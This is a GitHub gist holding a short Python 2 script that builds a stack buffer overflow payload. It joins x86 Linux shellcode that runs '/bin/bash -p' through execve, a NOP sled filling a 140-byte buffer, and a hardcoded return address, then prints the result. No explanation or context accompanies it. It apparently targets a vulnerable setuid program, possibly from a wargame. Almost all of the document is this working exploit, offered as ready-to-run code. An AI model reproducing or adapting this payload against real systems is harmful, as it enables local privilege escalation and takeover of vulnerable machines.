Skip to content

Instantly share code, notes, and snippets.

@jdiez17
Created March 28, 2015 19:24
Show Gist options
  • Save jdiez17/6252748dbf294b074650 to your computer and use it in GitHub Desktop.
Save jdiez17/6252748dbf294b074650 to your computer and use it in GitHub Desktop.
buffer_length = 140
shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"
retaddr = [0xc0, 0xfb, 0xff, 0xbf]
nops = "\x90" * (buffer_length - len(shellcode))
exploit = shellcode + nops + "".join(map(chr, retaddr))
print exploit
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment